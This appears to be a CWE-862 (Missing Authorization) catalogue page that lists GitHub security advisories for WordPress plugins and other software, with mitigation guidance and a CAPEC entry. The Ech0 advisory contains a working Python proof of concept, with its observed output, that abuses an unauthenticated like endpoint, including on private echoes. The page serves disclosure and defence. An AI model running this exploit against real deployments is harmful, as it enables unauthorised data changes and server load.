CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
14837 vulnerabilities reference this CWE, most recent first.
GHSA-PJ5Q-R35X-XMJ7
Vulnerability from github – Published: 2024-12-06 09:30 – Updated: 2026-04-08 18:33The Message Filter for Contact Form 7 plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the updateFilter() and deleteFilter() functions in all versions up to, and including, 1.6.3. This makes it possible for authenticated attackers, with subscriber-level access and above, to update and delete filters.
{
"affected": [],
"aliases": [
"CVE-2024-12027"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-06T09:15:07Z",
"severity": "MODERATE"
},
"details": "The Message Filter for Contact Form 7 plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the updateFilter() and deleteFilter() functions in all versions up to, and including, 1.6.3. This makes it possible for authenticated attackers, with subscriber-level access and above, to update and delete filters.",
"id": "GHSA-pj5q-r35x-xmj7",
"modified": "2026-04-08T18:33:40Z",
"published": "2024-12-06T09:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12027"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3203387/cf7-message-filter/trunk?contextall=1\u0026old=3160303\u0026old_path=%2Fcf7-message-filter%2Ftrunk"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/cf7-message-filter/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5754d2eb-dd31-4056-8a02-8b71b78f774b?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PJ5V-3P2R-P7Q9
Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-13 21:30Missing Authorization vulnerability in Rapid Car Check Rapid Car Check Vehicle Data free-vehicle-data-uk allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Rapid Car Check Vehicle Data: from n/a through <= 2.0.
{
"affected": [],
"aliases": [
"CVE-2026-39687"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T09:16:40Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Rapid Car Check Rapid Car Check Vehicle Data free-vehicle-data-uk allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Rapid Car Check Vehicle Data: from n/a through \u003c= 2.0.",
"id": "GHSA-pj5v-3p2r-p7q9",
"modified": "2026-04-13T21:30:36Z",
"published": "2026-04-08T09:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39687"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/free-vehicle-data-uk/vulnerability/wordpress-rapid-car-check-vehicle-data-plugin-2-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PJ62-G697-6G5Q
Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in CodePeople WP Time Slots Booking Form allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Time Slots Booking Form: from n/a through 1.1.82.
{
"affected": [],
"aliases": [
"CVE-2023-23895"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-09T13:15:21Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in CodePeople WP Time Slots Booking Form allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Time Slots Booking Form: from n/a through 1.1.82.",
"id": "GHSA-pj62-g697-6g5q",
"modified": "2026-04-28T21:35:16Z",
"published": "2024-12-09T15:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23895"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-time-slots-booking-form/vulnerability/wordpress-wp-time-slots-booking-form-plugin-1-1-82-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-PJ6Q-4VQ4-R8CG
Vulnerability from github – Published: 2026-05-07 21:23 – Updated: 2026-05-07 21:23Summary
PUT /api/echo/like/:id at internal/router/echo.go:12 is registered on PublicRouterGroup with no authentication and no rate limit. Anonymous callers increment the fav_count counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public GET /api/echo/page response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.
Details
Route registration at internal/router/echo.go:12:
appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
PublicRouterGroup is r.Group("/api") without the JWT middleware that AuthRouterGroup applies. The handler passes through to EchoService.LikeEcho, which calls EchoRepository.LikeEcho at internal/repository/echo/echo.go:270:
func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {
var exists bool
if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil {
return err
}
if !exists {
return errors.New(commonModel.ECHO_NOT_FOUND)
}
if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
Where("id = ?", id).
UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil {
return err
}
return nil
}
No viewer check, no ownership check, no private-flag check. Compare the read path at EchoService.GetEchoById (internal/service/echo/echo.go:275-300) which rejects anonymous readers on private echoes; the like path skips that gate. InvalidateEchoCaches (internal/repository/echo/echo.go:51-58) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind checkRateLimit (internal/service/comment/comment.go:731-766, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.
Proof of Concept
Default install, anonymous caller on the network:
import requests
TARGET = "http://localhost:8300"
# 1) Discover an echo UUID from the public feed (no auth).
page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()
echo_id = page["data"]["items"][0]["id"]
# 2) Like it. Repeat without deduplication.
for i in range(3):
r = requests.put(f"{TARGET}/api/echo/like/{echo_id}")
print(f"public like #{i+1}: HTTP {r.status_code} {r.text}")
# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,
# but the UUID arrives via other channels (logs, referer, shared drafts).
private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b" # admin-created private echo
r = requests.put(f"{TARGET}/api/echo/like/{private_id}")
print(f"private like: HTTP {r.status_code} {r.text}")
Observed on v4.5.6 in the test container:
public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID 019daf77-4a97...) succeeded even though GetEchosById would refuse to read that echo for an anonymous caller.
Impact
Anonymous, rate-limit-free writes against any echo's fav_count. Direct impact:
- Popularity signal destruction. fav_count powers the
hotfeed; a single script skews the ranking at will. - Private-boundary bypass. Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history.
- Server and cache load. Every call triggers a SQLite
UPDATEtransaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader.
Reachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable.
Recommended Fix
Move the route to AuthRouterGroup so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer:
appRouterGroup.AuthRouterGroup.PUT(
"/echo/like/:id",
middleware.RateLimit(5, 10),
h.EchoHandler.LikeEcho(),
)
At the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user:
func (s *EchoService) LikeEcho(ctx context.Context, id string) error {
userID := viewer.MustFromContext(ctx).UserID()
if userID == "" {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
echo, err := s.echoRepository.GetEchosById(ctx, id)
if err != nil || echo == nil {
return errors.New(commonModel.ECHO_NOT_FOUND)
}
if echo.Private {
user, err := s.commonService.CommonGetUserByUserId(ctx, userID)
if err != nil || !user.IsAdmin {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
}
return s.echoRepository.LikeEchoOnce(ctx, id, userID)
}
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/Ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.8-0.20260503035905-cecc2c19b590"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T21:23:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`PUT /api/echo/like/:id` at `internal/router/echo.go:12` is registered on `PublicRouterGroup` with no authentication and no rate limit. Anonymous callers increment the `fav_count` counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public `GET /api/echo/page` response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.\n\n## Details\n\nRoute registration at `internal/router/echo.go:12`:\n\n```go\nappRouterGroup.PublicRouterGroup.PUT(\"/echo/like/:id\", h.EchoHandler.LikeEcho())\n```\n\n`PublicRouterGroup` is `r.Group(\"/api\")` without the JWT middleware that `AuthRouterGroup` applies. The handler passes through to `EchoService.LikeEcho`, which calls `EchoRepository.LikeEcho` at `internal/repository/echo/echo.go:270`:\n\n```go\nfunc (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {\n var exists bool\n if err := echoRepository.getDB(ctx).Model(\u0026model.Echo{}).\n Select(\"count(*) \u003e 0\").Where(\"id = ?\", id).Find(\u0026exists).Error; err != nil {\n return err\n }\n if !exists {\n return errors.New(commonModel.ECHO_NOT_FOUND)\n }\n if err := echoRepository.getDB(ctx).Model(\u0026model.Echo{}).\n Where(\"id = ?\", id).\n UpdateColumn(\"fav_count\", gorm.Expr(\"fav_count + ?\", 1)).Error; err != nil {\n return err\n }\n return nil\n}\n```\n\nNo viewer check, no ownership check, no private-flag check. Compare the read path at `EchoService.GetEchoById` (`internal/service/echo/echo.go:275-300`) which rejects anonymous readers on private echoes; the like path skips that gate. `InvalidateEchoCaches` (`internal/repository/echo/echo.go:51-58`) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind `checkRateLimit` (`internal/service/comment/comment.go:731-766`, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.\n\n## Proof of Concept\n\nDefault install, anonymous caller on the network:\n\n```python\nimport requests\nTARGET = \"http://localhost:8300\"\n\n# 1) Discover an echo UUID from the public feed (no auth).\npage = requests.get(f\"{TARGET}/api/echo/page?page=1\u0026pageSize=1\").json()\necho_id = page[\"data\"][\"items\"][0][\"id\"]\n\n# 2) Like it. Repeat without deduplication.\nfor i in range(3):\n r = requests.put(f\"{TARGET}/api/echo/like/{echo_id}\")\n print(f\"public like #{i+1}: HTTP {r.status_code} {r.text}\")\n\n# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,\n# but the UUID arrives via other channels (logs, referer, shared drafts).\nprivate_id = \"019daf77-4a97-7c4c-a63c-791b10ecfd0b\" # admin-created private echo\nr = requests.put(f\"{TARGET}/api/echo/like/{private_id}\")\nprint(f\"private like: HTTP {r.status_code} {r.text}\")\n```\n\nObserved on v4.5.6 in the test container:\n\n```\npublic like #1: HTTP 200 {\"code\":1,\"msg\":\"\u70b9\u8d5eEcho\u6210\u529f\",\"data\":null}\npublic like #2: HTTP 200 {\"code\":1,\"msg\":\"\u70b9\u8d5eEcho\u6210\u529f\",\"data\":null}\npublic like #3: HTTP 200 {\"code\":1,\"msg\":\"\u70b9\u8d5eEcho\u6210\u529f\",\"data\":null}\nprivate like: HTTP 200 {\"code\":1,\"msg\":\"\u70b9\u8d5eEcho\u6210\u529f\",\"data\":null}\n```\n\nThe same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID `019daf77-4a97...`) succeeded even though `GetEchosById` would refuse to read that echo for an anonymous caller.\n\n## Impact\n\nAnonymous, rate-limit-free writes against any echo\u0027s `fav_count`. Direct impact:\n\n- **Popularity signal destruction.** fav_count powers the `hot` feed; a single script skews the ranking at will.\n- **Private-boundary bypass.** Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner\u0027s browser history.\n- **Server and cache load.** Every call triggers a SQLite `UPDATE` transaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader.\n\nReachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable.\n\n## Recommended Fix\n\nMove the route to `AuthRouterGroup` so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer:\n\n```go\nappRouterGroup.AuthRouterGroup.PUT(\n \"/echo/like/:id\",\n middleware.RateLimit(5, 10),\n h.EchoHandler.LikeEcho(),\n)\n```\n\nAt the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user:\n\n```go\nfunc (s *EchoService) LikeEcho(ctx context.Context, id string) error {\n userID := viewer.MustFromContext(ctx).UserID()\n if userID == \"\" {\n return errors.New(commonModel.NO_PERMISSION_DENIED)\n }\n echo, err := s.echoRepository.GetEchosById(ctx, id)\n if err != nil || echo == nil {\n return errors.New(commonModel.ECHO_NOT_FOUND)\n }\n if echo.Private {\n user, err := s.commonService.CommonGetUserByUserId(ctx, userID)\n if err != nil || !user.IsAdmin {\n return errors.New(commonModel.NO_PERMISSION_DENIED)\n }\n }\n return s.echoRepository.LikeEchoOnce(ctx, id, userID)\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-pj6q-4vq4-r8cg",
"modified": "2026-05-07T21:23:57Z",
"published": "2026-05-07T21:23:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-pj6q-4vq4-r8cg"
},
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/commit/cecc2c19b590df85d79ea98457faa143130cd620"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo\u0027s fav_count"
}
GHSA-PJ72-96MG-HVMQ
Vulnerability from github – Published: 2025-03-27 12:30 – Updated: 2026-04-01 18:34Missing Authorization vulnerability in Shahjada Live Forms allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Live Forms: from n/a through 4.8.4.
{
"affected": [],
"aliases": [
"CVE-2025-30809"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-27T11:15:41Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Shahjada Live Forms allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Live Forms: from n/a through 4.8.4.",
"id": "GHSA-pj72-96mg-hvmq",
"modified": "2026-04-01T18:34:07Z",
"published": "2025-03-27T12:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30809"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/liveforms/vulnerability/wordpress-wordpress-contact-form-drag-and-drop-form-builder-plugin-live-forms-plugin-4-8-4-settings-change-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-PJ75-VX8X-RMQ9
Vulnerability from github – Published: 2026-03-25 18:31 – Updated: 2026-03-26 18:31Missing Authorization vulnerability in Ruhul Amin My Album Gallery my-album-gallery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects My Album Gallery: from n/a through <= 1.0.4.
{
"affected": [],
"aliases": [
"CVE-2026-22485"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T17:16:30Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Ruhul Amin My Album Gallery my-album-gallery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects My Album Gallery: from n/a through \u003c= 1.0.4.",
"id": "GHSA-pj75-vx8x-rmq9",
"modified": "2026-03-26T18:31:30Z",
"published": "2026-03-25T18:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22485"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/my-album-gallery/vulnerability/wordpress-my-album-gallery-plugin-1-0-4-arbitrary-file-deletion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PJ78-8H7F-MG7F
Vulnerability from github – Published: 2024-07-17 09:30 – Updated: 2026-04-08 18:33The BookingPress – Appointment Booking Calendar Plugin and Online Scheduling Plugin plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the bookingpress_import_data_continue_process_func function in all versions up to, and including, 1.1.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site and upload arbitrary files. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
{
"affected": [],
"aliases": [
"CVE-2024-6660"
],
"database_specific": {
"cwe_ids": [
"CWE-280",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-17T07:15:03Z",
"severity": "HIGH"
},
"details": "The BookingPress \u2013 Appointment Booking Calendar Plugin and Online Scheduling Plugin plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the bookingpress_import_data_continue_process_func function in all versions up to, and including, 1.1.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site and upload arbitrary files. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.",
"id": "GHSA-pj78-8h7f-mg7f",
"modified": "2026-04-08T18:33:33Z",
"published": "2024-07-17T09:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6660"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bookingpress-appointment-booking/trunk/core/classes/class.bookingpress_import_export.php#L1491"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bookingpress-appointment-booking/trunk/core/classes/class.bookingpress_import_export.php#L410"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bookingpress-appointment-booking/trunk/core/classes/class.bookingpress_import_export.php#L476"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3116857/bookingpress-appointment-booking/trunk/core/classes/class.bookingpress_import_export.php?contextall=1"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/851ff861-474e-4063-88ff-d8d35b10e9a0?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PJ8V-5JX8-6V6P
Vulnerability from github – Published: 2024-06-09 12:30 – Updated: 2024-06-09 12:30Missing Authorization vulnerability in 8theme XStore.This issue affects XStore: from n/a through 9.3.8.
{
"affected": [],
"aliases": [
"CVE-2024-33563"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-09T12:15:12Z",
"severity": "HIGH"
},
"details": "Missing Authorization vulnerability in 8theme XStore.This issue affects XStore: from n/a through 9.3.8.",
"id": "GHSA-pj8v-5jx8-6v6p",
"modified": "2024-06-09T12:30:53Z",
"published": "2024-06-09T12:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33563"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/xstore/wordpress-xstore-theme-9-3-5-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PJ9V-74GV-CQP6
Vulnerability from github – Published: 2023-11-01 12:30 – Updated: 2023-11-08 03:30In validationtools, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges needed
{
"affected": [],
"aliases": [
"CVE-2023-42643"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-01T10:15:10Z",
"severity": "MODERATE"
},
"details": "In validationtools, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges needed",
"id": "GHSA-pj9v-74gv-cqp6",
"modified": "2023-11-08T03:30:32Z",
"published": "2023-11-01T12:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42643"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1719615756246777857"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PJF2-PRG8-PCM6
Vulnerability from github – Published: 2025-11-06 18:32 – Updated: 2026-01-20 15:31Missing Authorization vulnerability in flippercode Advanced Google Maps wp-google-map-gold allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Advanced Google Maps: from n/a through <= 5.8.4.
{
"affected": [],
"aliases": [
"CVE-2025-39465"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T16:15:50Z",
"severity": "HIGH"
},
"details": "Missing Authorization vulnerability in flippercode Advanced Google Maps wp-google-map-gold allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Advanced Google Maps: from n/a through \u003c= 5.8.4.",
"id": "GHSA-pjf2-prg8-pcm6",
"modified": "2026-01-20T15:31:46Z",
"published": "2025-11-06T18:32:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39465"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-google-map-gold/vulnerability/wordpress-advanced-google-maps-plugin-5-8-4-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wp-google-map-gold/vulnerability/wordpress-advanced-google-maps-plugin-5-8-4-broken-access-control-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wp-google-map-gold/vulnerability/wordpress-advanced-google-maps-plugin-5-8-4-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.